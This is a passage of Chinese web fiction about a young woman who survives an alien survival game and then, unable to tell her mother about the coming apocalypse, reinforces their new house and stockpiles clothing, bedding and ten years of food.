“哎呀,我心说前面那个人看着有点像小满,还在琢磨呢,你妈一眼就看出来了,说那就是小满,不然怎么说母女心连心呢。”王姨热情地探出身子,一边说一边利落地放下三轮车后挡板,招呼禾小满,“快上来坐,怎么也不先打个电话让丰年接你?不过今天好像是周一,小满你不是在市内上班吗?怎么这个点回来了?”
……王姨热情是热情,就是这话问得,太不是时候了。
禾小满提箱子的手一顿,顶着三轮车上两个女人好奇的目光,讪讪的回答:“今天调休,我回来看看我妈。”
禾丰年没说话,瞥了禾小满一眼,给她看的有点心虚,也不知道禾丰年有没有相信这个理由。
电动三轮再次“轰轰轰”地启动,卷起路边的尘土,颠簸着朝村里开去。
开了十五分钟,总算到了村口,三轮车把王姨放在她家院子前,就掉头回自己家。车后唯余王姨的超级大嗓门:“丰年,谢谢啊!下次有活再叫我啊!”
调转车头,七拐八拐绕了几个弯,就到了自家的院子。院子很普通,甚至有些简陋,只有五间看起来颇有年头的平房,外墙的水泥部分脱落,裸露出下面的红砖。这景象若是让禾小满那些习惯了城市公寓的同事看到,恐怕会大吃一惊。
禾丰年去棚子下停三轮,而房间里收拾行李的禾小满,则在纠结怎么和妈妈开口:
难道要直接讲“妈,您女儿失业了,还被外星人制造的系统抓去做了两个月的实验,被投放到一个模拟末世环境的寒冷小镇,撑过来的同时,也得到了一个消息——世界末日要来了”?
……她妈肯定会怀疑她是上班上出病了,失业失心疯了。
但是不说又绝对不行。她接下来要进行的的一系列囤货、改造房屋等应对末日的行为,绝对瞒不过精明的禾丰年。而且,如果不提前让妈妈有所警觉,万一末日真的突然降临,妈妈毫无准备怎么办?
带着忐忑,禾小满放下行李,走向厨房,对灶台前的那个背影开口:
“妈,你知道吗?末……”日可能来了。
“我被外……”外星人抓去做实验了。
“我穿……”越到一个末日生存游戏了。
话到嘴边,却像被一只无形的手扼住了喉咙,后面几个字怎么也吐不出来。禾小满再想张口,只感觉“啪”的一下,没听到声音,但嘴唇上传来触感,她的嘴巴被打了一下。
“我知道啥?”禾丰年转过身,奇怪地看向禾小满。
说不出话,打字总行吧!禾小满掏出手机,点开备忘录,想要把这一连串惊世骇俗的信息打在屏幕上给禾丰年看。然而,刚点开文本框,手腕上又是“啪”的一下,力道很大,让她手一抖,手机“啪嗒”掉在地上。
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>禾丰年举着锅铲,眉头微微皱起,问道:“你要说啥?”女儿专门回来一趟给她表演哑剧是吧?
“没什么没什么。”禾小满狼狈地捡起手机,灰溜溜逃离现场。
回到自己房间,她又不死心地尝试了各种方法:给微信里的好友发短信告知末世消息——失败;在常用的APP发相关的帖子——失败;找来纸和笔,想把一切写下来——失败。
看来,这系统不允许她以任何形式将“末世”和“系统”相关的信息泄露出去。
等坐上饭桌了,禾小满还在纠结这事。
然而,动起筷子之后,所有的烦恼瞬间被抛到了九霄云外。天大地大,吃饭最大。在副本里虽然能隔三差五开火打牙祭,但绝大多数时候,她都是啃压缩饼干续命,吃得她看见任何棕褐色块状物都忍不住胃里泛酸。现在能坐在自家餐桌前,吃上一口热气腾腾的打卤面,真的太幸福了。
“小满,”禾丰年看着对面狼吞虎咽的女儿,又是心酸又是疑惑,“你不会在减肥吧,怎么感觉瘦了这么多?”
禾小满心里咯噔一下,摸摸自己的脸颊,随即含糊应了一句:“嗯……是有点,在控制饮食呢。”
看来,她确实是用自己现实世界的身体进入副本的。今天早上换衣服和洗手时,她就发现自己身上多了几处冻疮,手上也留下了干活时被刀具划伤的伤口。现在妈妈又说她瘦了,印证了她的猜测——她在副本里受到的任何身体影响,都会原封不动地带回现实。
“用自己的身体去冒险……这风险也太高了。”禾小满心里一沉。
看来以后在副本里,必须更加注意安全,加倍小心才行。两个世界的命,可都只有一条。
禾丰年默默看了一眼对面心事重重的女儿,在心里暗暗叹了口气。她拿起筷子,又把碗里的面条和卤子给女儿多挑了点,然后状似不经意地,用闲聊般的口吻问道:
“小满,你那工作怎么样了?”其实她猜女儿是失业了,之前工作忙得脚不沾地,不是失业,哪来的时间在工作日突然跑回家?而且短时间内瘦这么多,脸色还这么差,八成是失业后压力太大,吃不好睡不好。
禾小满拿着筷子的手顿住了,犹豫了片刻,最终还是说了实话:“工作没了。”
既然末日即将来临,她也不打算再费心去找新的工作。接下来的时间,她准备就待在家里,专心致志地为为末日做准备。租房自然也没必要续,到时候就和妈妈一起守在自家这块根据地里。
一个想法忽然闪过脑海,禾小满放下筷子,看向禾丰年:“妈,家里那个新房子,建得怎么样了?我现在没上班,刚好有空,可以去那边盯着点装修,省得你来回跑。”
家里这两年正好在建一栋新的自建房,就在旧屋旁不远。新房子的设计比她们现在住的旧房要好得多,用料也扎实,请的工程队都是十里八乡的老把式,质量信得过。
最关键的是,这房子是自家的,产权清晰,空间足够大,方便她囤货;在自己家的地盘上,也方便她对房屋进行改造;地处相对偏僻的村落,比住在人口密集的市区更有隐私,也更安全。除了离市中心远,采购物资没那么方便之外,其他都很好。
“好啊,”禾丰年没犹豫,一口答应了,“房子主体其实建得差不多了,现在就是个毛坯房。接下来主要就是装水电、做防水这些活。你回去盯着点也好,年轻人眼光新,有什么想法可以直接跟师傅说。”
女儿之前一心想着在城里发展,对家里盖新房的事一直不怎么热衷,现在竟然主动提起要去监工,禾丰年心里其实是有点高兴的。反正这新房子盖起来,就是打算给她们母女俩住的。
好!第一步,顺利达成!
禾小满面上努力维持着平静,心里却已经欢呼雀跃,仿佛看到了坚固安全的避难所在向自己招手。
她已经在心里盘算好了,明天一早就去新房那边“上班”,亲自监工,务必要把这栋房子,打造成她理想中的、能够抵御未来天灾的末日生存基地!
24.第一次囤货
第二天一大早,禾小满就往新房赶去。
他们这个村子地理条件还可以,一边靠着山,一边临着河。山上有搞果树承包的,但田却没多少人种了。原因无他,一公里开外就是一片工业区,村里的男男女女,都更乐意去厂里做工,收入稳定,还不用看天吃饭。
村子跟市内那些以收租为营生的城中村自然是没法比,但要是跟那些以种田为唯一收入来源的偏远村落比起来,又算是不错了。总之,比上不足,比下有余,靠着工业园,也算有点进项。这些年,村里一半的人家,都新盖了自建房,禾小满家属于动手比较晚的那一批。
盖得晚自然有盖得晚的原因。她们家一直没什么钱,直到近些年才宽裕了点。禾小满的户口是继承自她父亲,父亲是土生土长的村里人,三十年前和外出打工的禾丰年相识,两人也曾有过几年蜜里调油的好时光。可惜好景不长,大概禾小满五岁那年,父亲生了一场重病,家里借钱治病,折腾许久,最后人还是没了,剩她们母女俩过日子。
禾丰年出身于一个比这里更偏僻更落后的外省乡村,即便男方去世,她也不愿带着女儿回自己那个更看不到希望的娘家。她熟悉这块土地,也看好这座城市肉眼可见的发展势头,觉得留在这里总有出路。于是,禾小满的户口就被保留在这,希望能凭借这个户口,在城市的发展中谋一点福利。
户口到底占没占到城市的便宜不好说,但这里的人,思想观念确实比禾丰年老家的乡亲要“先进”那么一点。尽管掰扯了很久,禾丰年又是搬出丈夫临终遗言,又是送礼拉关系,磨了快两年,才终于让丈夫名下那块宅基地,落在了当时年仅七岁的禾小满头上。就这样,独生女禾小满,名下有了自己的土地,现在这栋在建的新房子,法律上的主人也是她。
趁着地和房子都是自己的,禾小满下定决心要好好打造安全屋。虽然她现在对天灾的具体形式还一无所知,只能按照副本里积累的生存经验,和最基础的避险需求先进行初步改造,后续再根据情况慢慢添加设施。
新房是一栋三层的小别墅,主体结构已经完工,外面带着一个宽敞的院子。工人们正进出搬运水泥和水电材料,现场一片忙碌。这个施工阶段对禾小满来说刚刚好,要是房子完全装修好了,再想加东西改造就不那么方便;要是退回更早的主体建设阶段,她又怕来不及在末日降临前彻底完工。
禾小满走进院子,找到了施工队的工头黄师傅,开门见山地表明了自己的想法:
“师傅,能不能再给我在院子里起两间小房?其中一间做厨房,里面砌个柴火灶。”这是禾小满的经验之谈,电磁炉燃气灶固然方便,但万一碰到像副本里那样断电断气的极端情况,还是最原始的柴火灶最可靠。
黄师傅一口答应。老式柴火灶蒸出来的饭可香,好多人就好这一口,这两年找他搭灶的人不少。至于小房,那也是常做的,放点什么东西都很方便。
见黄师傅答应得爽快,禾小满趁热打铁,问他们能不能帮她打个火炕和壁炉。副本中使用壁炉的体验让她念念不忘,她想再来一个。火炕则是昨天她刷视频查资料时看到的,火炕约等于天然的电热毯,温度高低全由添柴多少决定,和柴火灶一样,原始但好使。
壁炉?火炕?黄师傅一头雾水地看着对面年轻的房主,他实在有点摸不着头脑。壁炉他还能理解,有些追求格调的别墅业主喜欢装,就算不常用,摆着也好看。可这火炕……这么年轻的姑娘,怎么会喜欢这种“土里土气”的老玩意?
“老板,你想冬天保暖,装什么炕啊?“黄师傅试图劝说,顺便推销一下更现代化的方案,“我们现在给你安暖气多好,水暖、电暖都方便得很。现在正好和水电一起设计走线,一点也不耽误,保证屋里暖和。”他这么积极,一来是装暖气也算个工程,能有点额外收入;二来也是真心觉得,在他们这地方,冬天冷不了几个月,装暖气都算他黑心推荐了,更别提土炕了。
禾小满摇摇头,态度很坚决,她心里有自己的盘算。就以暖气的功率,绝对能把阶梯电费干到最高档,这么大一栋别墅,开一个月暖气起码花掉她一千多块。钱还是小事,万一停电了,暖气可就成了摆设,这么高的耗电量,就算她能搞到发电机也未必带得动。相比之下,还是依靠实体燃料的火炕更让她安心。
“我就想装炕,师傅,顶多给卧室安几块暖气片备用,您就说能不能做?”
面对这个奇怪的年轻雇主,黄师傅心里嘀咕,但绝没有把送上门的活往外推的道理。商量好额外请一位有经验的北方师傅来负责打炕,又确定了暖气片的安装位置和数量,再拉扯了一番价格,黄师傅最终还是接下了这单混合风格的保暖工程。
搞定了保暖设施,禾小满又跑上楼顶。楼顶是个宽敞的大平顶,施工队之前特意按照禾丰年的要求,没做任何花哨的装饰,只是在四周砌了一圈结实的水泥墙。
楼顶现在还只是光秃秃的水泥地面,禾小满站在上面,环顾四周,心里琢磨着怎么做防水。
这也是她从副本里得到的教训。在副本的最后几天,安全屋内其中一间房的天花板出现了渗水的痕迹。尽管她已经很勤快地扫雪除冰了,但那个角落是个死角,处理起来很不方便,日积月累,还是没能避免渗水的问题。
所以说,防水工程必须重视。不说为了防范未来可能出现的雨灾雪灾,就光是为了应对每年的台风暴雨,把防水做好也很有必要。
她和负责做防水的师傅在楼顶聊了很久。师傅说,屋顶要刷第一层防水材料,然后刷冷底油、再铺第二层防水卷材,确保闭水实验不漏,最后做第三层水泥保护层。其间还涉及到地面找平、女儿墙倒角处理、下水口加强处理、防水材料和卷材的品牌选择差异……林林总总一堆专业名词和注意事项。禾小满听的很仔细,还不时拿出手机查一下资料印证,最后和师傅商定了方案,报价每平米300元。
这个价格在村里确实算贵的,别人家楼顶防水可没这么下本钱。但师傅拍着胸脯保证,这个价格包含保温层和外墙防水一起做,材料也用好的,工序都严格按照标准来,绝不偷工减料。
定下防水的大事,禾小满马不停蹄,又立刻赶往本地的建材市场。她得去看看窗户。
禾小满深知好玻璃的重要性。在副本里,除了撬锁,敲玻璃这类勾当她也没少干。普通的家装玻璃,基本属于“防君子不防小人”的类型,差不多两锤子就能敲碎
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。而在末世环境下,偷鸡摸狗、杀人越货的行径绝不会少,一砸就碎的普通玻璃肯定无法满足她的需求。
她了解到,市面上很多号称防弹的玻璃,其实营销噱头大于实际效果。真正能满足基本防弹需求的玻璃,除了材料特殊,厚度也基本不低于19mm。低于这个厚度的玻璃,她估计自己那把9mm子弹的【死亡轮盘】,大概率都能打穿。
当然,她的目的也不是为了防子弹,而是看中了这类玻璃极高的强度和韧性。只要不是被人几锤子轻松砸碎,能给她争取到逃命或者反击的时间,在她心里就算是合格的玻璃。
然而,当禾小满提出“防弹、保温、单面”的要求,各家老板也是颇为无语。这类产品通常都是商场、银行或者某些特殊公共建筑才会采购,普通家庭安装的,凤毛麟角。
问了好几家,终于找到一家品类齐全的店铺。店主表示可以试试,让外地合作的玻璃厂发一块样品过来,等禾小满亲眼看过,确认满意后,才能根据窗户的尺寸下订单生产。
“哎呀,现在会定这种玻璃的,那可都是真正的大老板!”店老板一边操作电脑联系厂家,一边说着讨喜的话,“一般家庭谁舍得花这个钱?只有那些既有钱又注重安全的大老板,才会搞这个保护家里的人和财产。没想到小姑娘你年纪轻轻又有实力又有远见,厉害啊。”她看禾小满对这款玻璃表现出的在意程度,觉得这笔生意成交的希望很大。
禾小满默默掏出手机,扫了店老板提供的收款码,支付了样品费,心里却在暗暗吐槽:店老板说错了,这玻璃要保护的,可不是什么大老板。
……而是她这个穷鬼。
在挑选玻璃的时候,禾小满也顺便留意了一下防盗门。别墅的正门她打算装不锈钢或者锌合金材质的,市场里从400到800一平的都有,各种材料和样式她都大致看了看,心里有了个谱,准备回去和妈妈以及师傅商量一下再决定。
等从建材市场折腾回家,天色都已经暗了下来,跑了一整天的禾小满是腿疼心更疼。装修的费用贵得吓人,今天初步确定的这几项,就已经花了不少钱。
两间小房、柴火灶、土炕、暖气片,外加人工费,初步估算就得5万块。这还算是省了的,因为她要的小房结构非常简单,就是个能遮风挡雨的水泥盒子,而暖气片也只计划安装在二楼的卧室,其他地方都没铺。
防水300一平,她们家300平的屋顶面积,这一下子就是9万块出去了。禾小满第一次真切地感受到,房子太大,好像也不是什么好事。
至于门窗,禾小满虽还没付全款,但在建材市场也打听过了,防弹玻璃从几百到几万一平的都有,她选的那种就算是入门级别的,价格也绝不可能便宜,到时候肯定又是好几万的开支。
系统赞助的十万末世生存基金,就像泼出去的水,哗的一下见底了。超出的部分,禾小满动用的是她上班两年攒的积蓄。
“唉……”
生活不易,小满叹气。这安全屋的改造才刚开了个头,钱就像长了翅膀一样花得飞快。衣食住行里的“住”已经如此烧钱,剩下的“衣”、“食”、“行”三座大山,还不知道要准备多少银子才能搬动呢。
25.第一次囤货
第四天一大早,禾小满就被禾丰年劈头盖脸的说了一顿。
禾丰年这两天忙着在厂里干活,没时间回家。今天好不容易抽空回来看看新房子的装修进度,结果被禾小满气了个半死。
起初一进门,看见施工队正在院子里砌新墙,听说是小满要求加建的厨房和储藏室。禾丰年心里还感叹闺女的想法不错,规划得挺好。
再一抬头,看见楼顶也有工人在忙碌,似乎是在做防水层的铺设。虽然价格报上来时禾丰年觉得有点肉疼,但一分钱一分货的道理她懂,为了以后不漏水,便也点头认可了。
等走到卧室里,看见泥瓦师傅正热火朝天地砌着一个大火炕,这短暂的欣慰瞬间烟消云散,禾丰年是怎么也夸不出口。
“我本来说把采光布局最好的那间卧室给你,这间差一点的给我住。你倒好,在我房里安个炕,这玩意儿跟这房子搭吗?你自个去住吧,我可不睡那间。”禾丰年罕见地发了火。
禾小满听着禾丰年的教训,焉焉地点头,没敢吭声。她还没告诉她妈,换房间也没用。
……她给另一间卧室也打了炕。
用“尝试做装修博主,拍视频起号”的理由搪塞过去了追问,禾小满松了口气,掏出手机浏览各类服装和棉被的商品信息。
她首先关注的就是被子。在副本内,她可是切身体会到了一床好被子的重要性。要不是运气好发现了旅馆,光靠系统初始给的那点破烂,她绝对熬不过那个冬天。
理论上,被子有使用年限:纤维被通常2-3年,棉花被3-5年,蚕丝被8-15年,羽绒被15-20年。盖久了的被子容易出现跑棉、受潮、板结等影响保暖性的问题。不过实际上,一床被子盖十几年二十年的也大有人在,她也不必准备太多,够用且有几床替换的就行。
禾小满初步计划按每人三床6斤的薄棉被、三床12斤的厚棉被、外加两床1000克的羽绒被来准备。这个数量,够她们盖十年了,省着点撑二十年估计也没问题。
看到禾小满一边盯着手机屏幕,一边拿着笔在便签纸上写写画画,禾丰年顺口问了一句:“你这又是在琢磨啥?”
“在采购被子。”禾小满头也没抬的答道。
被子?说到这个,禾丰年可就不困了。搬新家,置办新被褥确实是正经事。
“我知道一家老棉花铺,那家可以现场弹棉花,还能打新棉被。你不用去网上买,我去打几床新的就行,顺便也把家里的旧被子拿去弹一下。”
弹棉花,这是一个有点年代感的词汇。禾小满很小的时候,去镇上看过老师傅弹棉花:
把旧被芯取出来,用铡刀切割成小块的棉芯,再把棉芯放进机器里,一层层旧棉絮在机器里被扯散撕碎,变成轻盈的飞絮。机器另一端的滚筒不停转动,将扯好的棉絮一层层吸附在上面,越滚越厚,最后变成一床无比蓬松的新棉芯。
接着,按尺寸把新棉芯放在特制的木板上,用细密的纱网固定好,再用一个巨大的压盘进行压实定型。最后套上被罩,用大号的工业缝纫机,连同棉芯和被套一起,缝制成一个个规整的方格,防止跑棉和板结。就这样,一床柔软暖和的新棉被诞生了。
新弹出来的被子无比柔软蓬松,同样克数的棉,盖起来就是比用了多年的老被子更暖和贴身。许多街坊邻居,要么是舍不得花钱买商场里的名牌货,要么是不信任外面那些号称纯棉却不知底细的产品,依旧保持着定期去弹棉花的习惯。
禾小满好奇的问:“现在打一床新棉被多少钱?”如果能现打棉花被,那也不错。
禾丰年回忆了会,告诉她价格:“我之前问过,棉花按品质分,十三到二十五一斤的都有。被套贵的五十,便宜的二十,加工费则是十五块一床。我看咱俩先打两床新的就够了,旧被子翻新一下也能用。”
禾小满算了一下,打一床10斤的被子最便宜也要165元,和她之前在网店看到的某些促销款价格其实差不多。禾丰年显然没打算大规模置换,只计划弄两床,那就把这两床现弹的被子作为补充好了。手里的订单就没取消,甚至还额外加购了两条拉舍尔毛毯,以备不时之需。
采购完棉被,下一个重点就是服装。刚好趁着禾丰年今天休息,禾小满顺势提出两个人去奥莱转一转。
眼下正是七月中旬流火时节,大街小巷的服装店陈列的都是清凉夏装,唯有奥特莱斯这种品牌仓库,还能找到些过季的冬装。尽管是断码或者清库存产品,但在折扣产品里使劲挑挑,也能挑到好货。
还有一个重要原因,虽然网上购物方便,但禾小满坚持认为,一身合身保暖的御寒衣物,一双穿着舒适合脚的鞋,是无比重要的。在副本里,她捡来的衣服鞋子,只能说勉强蔽体保暖,很多都不合身,特别是鞋子,因为码数不对,把她脚上磨出了几个大水泡。这种血泪教训,让她对线下实体试穿产生了执念。
“没必要。”禾丰年对买衣服这件事情并不热衷,她就是在服装厂里干活的。
准确的说,禾丰年不是普通的生产线工人,而是工业园里的一个小包工头,或者说,是招工的中介。
工业区里聚集了许多小厂,没有稳定的订单,工人也不是全职的。淡季时就靠几个老师傅维持,一到旺季,就需要招聘大量临时工来赶工。除了贴招工告示,许多工厂也愿意请禾丰年这样的中介帮忙。
每次接到招临时工的单子,禾丰年就会开着她的五菱宏光,早早地赶到市里的长途汽车站守株待兔。这里下车的人,基本都是来城市打工讨生活的人。在一片旅店拉客的、其他中介同行之中,禾丰年就举着个醒目的大纸牌,招揽着有意向去厂里做活的女工。
这种活计很辛苦,经常是天不亮就要出门。夜色还没褪去,找活干的工人和需要人手的工头们就在路灯下聚集,相互打量、讨价还价。禾丰年在这一片渐渐做出了名气,因为她招人速度快,带来的人手齐整可靠,工厂满意她的效率,工人也感激她提供了靠谱的工作机会。
禾丰年招人有个特点,基本只招女工,接订单时也会多留个心眼,尽量不接那些劳动强度太大、工时过长或者明显压榨人的黑心单。工厂给她的钱,她会按行规吃点回扣,但从不狮子大开口,也绝不会找各种条令借口克扣女工们的劳务费。碰到不包吃住的厂,她还会帮女工租套临时宿舍,只象征性的收点管理费。有时碰上急活,就上手和女工们一起做。也正是靠着做中介这些年赚了些钱,她们家才还清了以前的欠款,也有了如今翻盖新房的底气。
禾丰年这些年接了数不过来的单,其中不乏来自服装厂的订单。亲自车了不少拉链的她,对于衣
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服的看法是,能穿就行。
看到兴致缺缺的禾丰年,禾小满也没办法了,只能祭出最后一招:
撒娇。
“妈——我求你了,你陪我去吧。我们这个冬天去北边的冰雪大世界旅游好不好,你就陪我去吧。等到十二月份就能美美地出门玩了,多划算呀!”禾小满凑到禾丰年身边,绕着她转溜。
禾丰年被这只“小蜜蜂”在耳边嗡嗡嗡地缠得实在没办法,看着她那故作可怜的模样,心头一软,最终还是松了口:“行了行了,别晃了,头都晕了。去就去吧,正好我也去看看有没有适合干活穿的厚实裤子。”
两人简单收拾了一下,便开车出发前往奥莱。在停车场那一排排锃光瓦亮的小轿车间,她们那辆饱经风霜的五菱宏光是如此显眼出众。
奥莱很大,禾小满不打算浪费时间闲逛,她的目标很明确,直奔羽绒服品牌和户外品牌。
她深知,羽绒服里的学问很大,其价格基本由填充物的种类和含量决定。金字塔尖的是绒朵饱满、气味很小的95%白鹅绒,平均每千克价格是1386元;而相对平价的80%灰鸭绒,每千克也要430元左右。
一般来说,工厂生产一件填充200克、绒子含量90%的白鸭绒成人短款羽绒服,只算材料费和加工费的平均成本在190-250元上下,到批发商手里大概是280元以上,至于零售价,那就看品牌溢价、款式设计和销售渠道了,差距很大。如果能买到低于批发价的羽绒服,要么是顾客运气爆棚捡了天大的漏,要么就得警惕商家是不是在填充物上以次充好、挂羊头卖狗肉。
由于这里的冬季不算特别冷,商场里主打的多是200克以下的短款羽绒服。禾小满耐着性子逛了好几家店,终于找到一件符合她要求的梦中情衣:填充物是70%—80%含量的灰鹅绒,充绒量足足300克,外层面料具备防风防水功能,关键是还在打五折,折后价一千六,试穿后感觉活动自如又无比温暖,禾小满果断拿下。
接下来,禾小满在各大户外品牌,给两人又挑了对应的冲锋衣和登山鞋。冲锋衣的防风防雨性能她在副本里深有体会,在没找到橡胶雨衣之前,全靠它保护里面的保暖层。这次她硬壳(防风防水耐磨)、软壳(防风透气柔软)各买了一套。户外鞋也是如此,低帮轻便的跑鞋用于日常活动,高帮保护性强的靴子则应对复杂地形,她也都各买了一双。
之后,她们又转战几家快消品牌,抢了一些打骨折的羊绒衫和摇粒绒外套,算是补充了中间保暖层,两人才大包小包的打道回府。
但这并不代表禾小满的购物之旅就此结束,相反,网购的重头戏才刚刚开始:雪地靴、毛衣、保暖内衣裤……冬季保暖的衣物种类繁多,她们以前的储存根本不够看,都需要另外添置。还有诸如耳罩、围巾、手套、毛线帽、护膝等等配件,禾小满都在购物软件一一下单。至于袜子,至于袜子,她更是简单粗暴,直接按箱购买,涵盖了厚度不同的多种类型。
看着购物软件里那一长串订单,和不断弹出的扣款信息,禾小满一边肉疼,一边自我安慰:
至少现在还有机会花钱,在副本里她就算有钱都花不出去,很多东西都得自己动手凑合。现在既然回到了现实,有了机会一定要好好珍惜,决不让自己和妈妈过那种苦日子。
26.第一次囤货
餐桌中央,鸳鸯锅泾渭分明的沸腾着,烟气缭绕。
白汤平静,翠绿的莴笋片荡漾在奶白色的湖面,香菇与萝卜吸满了汤汁,变得柔软而丰腴,绿色的葱丝、红色的枸杞点缀其间,煞是好看;红汤翻滚,褐色的毛肚在锅中沉浮,上上下下,虾滑和肉丸在热浪中碰撞,油亮的红辣椒随着滚汤旋转起舞,不仅抓住了食客的味觉,还有视觉。
豌豆苗嫩得出奇,叶片小巧可爱,茎秆纤细柔韧,送入口中,一丝若有若无的苦味萦绕于唇齿间,反倒更衬托出后续回甘的清甜;肥牛香得勾人,轻薄的肉卷蜷缩成一团,里里外外浸满了红汤,筷子一挑,在料碟里打个滚,那浓郁厚重的芝麻香和直冲鼻腔的辛辣刺激混合在一起,别有一番风味。
素菜与荤菜、白汤与红汤,各司其职。这滚烫的汤汁所烫熟的,不止是食物本身,更温暖了辘辘的饥肠与疲惫的心灵。
“嗝——”
心满意足地打出一个悠长的饱嗝,禾小满将碟子里食物都扫荡干净后,意犹未尽地又添了一碗炒饭,最后,才打了杯冰淇淋慢慢地舀着。
桌面上,除了空空如也的汤锅,便是那两叠高高的菜碟塔。路经此桌的服务员和顾客都忍不住侧目,无声赞叹禾小满的惊人战绩。
禾小满顶着各路目光,顽强地在锅前奋战了两个小时,最后卡着自助餐厅规定的时间点离座,在店铺外找了张长椅坐下。
去副本前,她的食量本就算大,但也绝非这般级别。今天这顿火锅,既是为了犒劳自己委屈了两个月的味蕾与胃部,也是一个补偿,她想在这几天通过食物,把副本里消耗掉的脂肪与肌肉补回来。
人是铁,饭是钢,食物作为最重要的生存储备资源,其地位毋庸置疑。禾小满今天花了整整大半天时间泡在食品批发市场,进行采购。
经过几天的考虑,禾小满决定,先按消耗十年的量购置她和禾丰年的食物储备。她手里的资金其实足够多囤一些,但这样做,基于两点考虑:
一是大部分食物有其客观的保质期限制;二是理性地预估,即便末世降临,人类社会在十年之内也应该能恢复一定的自产自足能力。倘若十年后,人类依旧只能依赖十年前储存的陈旧粮食维生,那这场末世灾难该是何种恐怖?恐怕星球上百分之九十以上的人口都已消亡了。
如果真有如此大的灾难,禾小满觉得,再怎么囤积粮食建造安全屋都没用,找机会抱上各机构大腿才是关键。
不过话是这么说,粮食还是要囤的。
采购的第一样就是主食。
参考居民平衡膳食宝塔的指导,成年人每日推荐摄入200-300克谷类食物。按高值300克计算,一人十年所需总量为1095千克。然而,这仅仅是理想化的均衡膳食模型。
在过去食物种类单一、油脂荤腥罕见的年代,以稻米为主食的佃农,日均消耗近两斤粮食也属平常。在副本里,基本天天都在做重体力活的禾小满,食量就比现在更大。再加上必须考虑粮食在储存过程中可能发生的霉变、虫害等损耗,禾小满决定按推荐量的两倍进行储备,即每人2吨,母女二人共计4吨。
大米,算是食物中保质期较长的品类。普通包装大米保质期通常在3-6个月,采用真空包装则能延长至12-18个月。但即便这样,与十年的储备目标相比,仍是杯水车薪。
存放满一年、未满三年的大米通常被称为“陈米”,短期内尚可食用,但口感、香气往往不如新米。一旦储存不当,受潮霉变,极易产生强致癌物黄曲霉素,危害极大。而储存时间超过五年的大米,则进入“陈化米”阶段,这种状态的大米按规定只允许用于工业用途,严禁作为口粮销售。即便强行食用,其口感也往往味同嚼蜡,难以下咽。
面条类制品的保质期通常比大米更短。普通挂面的保质期为1年,方便面的面饼保质期一般也为1年,因为包含了油包、粉包等制品,所有完整产品保质期常标注为半年。不过,面条的优势在于烹饪便捷。水开下锅,几分钟就能煮熟食用,在紧急情况下能节省大量时间和燃料。
禾小满在批发市场仔细逛了一圈,没有选择口感更佳但价格偏高的五常大米,而是采购了性价比更高的普通珍珠米,全部要求真空包装。最终以每斤2.59元的价格,订购了4吨,总价20720元,抹零后实付2万元整。
市场里有单价更低的米,但禾小满选择了低价位中品质相对较好的一款。实际上,这已经是她在市场中拿到的同款最低价。她所在的地区并非主要产粮区,又身处大城市,粮价本身缺乏优势。而4吨的采购量,在批发市场属于比上不足、比下有余的级别,还不足以拿到给大客户的最优惠底价。
粮食的一大成本在于运输。如果能与产区供应商直接合作并约好自理运输,同款大米的价格完全可以压到每斤1.70元以下,但那样的起订量动辄以万吨计,远非她个人能够承受。
至于挂面,禾小满选择了一种口碑不错的大众品牌清水挂面,以每斤2元的价格采购了500斤,花费1000元便适可而止。
除此之外,为了膳食均衡,禾小满又以均价每斤6.5元的价格,采购了共500斤的红豆、绿豆、糙米、燕麦等杂粮杂豆。膳食宝塔同样推荐成年人每日摄入50-100克杂粮。且不说杂粮中富含的B族维生素、矿物质等营养成分,单是膳食纤维这一项,就在副本里帮了禾小满大忙。
膳食纤维不仅能增强饱腹感、辅助控制体重,更能有效促进肠道蠕动,预防和缓解便秘。回想副本中那段食物单一、严重缺乏新鲜蔬菜水果的日子,禾小满不禁感慨,要不是多亏了那几袋燕麦,自己真有可能上演一出“出师未捷身先死,长使英雄坐马桶”的悲剧。
采购的第二样是油和盐。
油是一种比较脆弱的食物,极其怕氧化,未开封的油保质期为18个月,而开封后的油,最好在半年内食用完,否则就等着尝哈喇味。
按照膳食宝塔每日25-30克的推荐量,每人每年至少需要摄取约9.125千克食用油。但实际生活中,往往随便炒一道菜就会用掉几十克油,远超推荐量,这是因为实际摄入的油量会少于烹饪用油。禾小满没管营养推荐,而是直接按桶计算,以每升15元的价格,合计采购了500升花生油。
而盐,则是禾小满今天采购中最省心的一项。它的保质期极长,约等于永久,因为超高浓度的氯化钠让任何微生物都无法附着生存;储存条件简单,只需干燥避光即可,即便受潮结块,敲碎后丝毫不影响食用价值;人体每日需求量很小,理论上成人每日不到5克盐就可满足需求;且价格极其低廉,500克一袋,一袋只要1块钱。
禾小满大手一挥,直接订购了1000袋,总价不过1000元,粗略估算,足够她俩吃一辈子了。
采购的第三样是压缩饼干。
压缩饼干是除盐之外,常见食品中保质期的冠军。普通产品保质期普遍在4年以上,采用特殊工艺和包装的军用级压缩饼干,保质期甚至可以达到10-20年,绝对是末世里的硬通货。
压缩饼干的另一大优势在于营养均衡、能量密度高。以市面某常见品牌为例,每100克的能量为1881千焦(449千卡),原料则通常包含小麦粉、白砂糖、植物油、葡萄糖、全脂奶粉、盐等,堪称一节更比六节强。以体重53千克的成年女性为例,每日基础能量需求约为1700千卡,理论上,仅需3-4块压缩饼干,就能满足每天的生存能量所需。
而每块100克标准压缩饼干的价格,大致在1-2元之间。禾小满直接按照营养成分表,挑选了款热量和配料都过得去的品牌,让店家将不同口味混合装箱,一口气订购了价值3万元的货。
虽然在副本里连续吃了两个月的压缩饼干,给禾小满都吃出心理阴影了。但她也不得不承认,是这些压缩饼干救了她的命。每天几块压缩饼干配合其他辅助食物,撑住了她砍树、拾荒等体力活的巨大消耗。外出探索不便生火时,更是全靠啃压缩饼干来维持体力。
禾小满心里很清楚,如果末世中只能选择一种食物,她宁可舍弃所有花样,只留下压缩饼干。
采购的第四样是罐头。
罐头与压缩饼干类似,同是“长命食品”。在保存条件良好的情况下,存放十年八年的罐头通常仍可
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安全食用。普通的肉类烹饪繁琐,不耐储存,而经过高温灭菌、密封处理的肉罐头则完美解决了这些问题。食用时,可以将罐头内的肉取出加热,也可以直接连罐隔水加热,甚至在必要时,开罐即食也无不可。
而且,金属罐身本身就是绝佳的取水容器,装上水后放在火上,就能变成一个简易小锅。除此之外,不少人都曾有过开罐头被金属提盖割伤的经历,但从另一个角度看,提盖锋利的边缘在紧急条件下,能临时充当小型切割工具,用来处理绳索或软质材料。
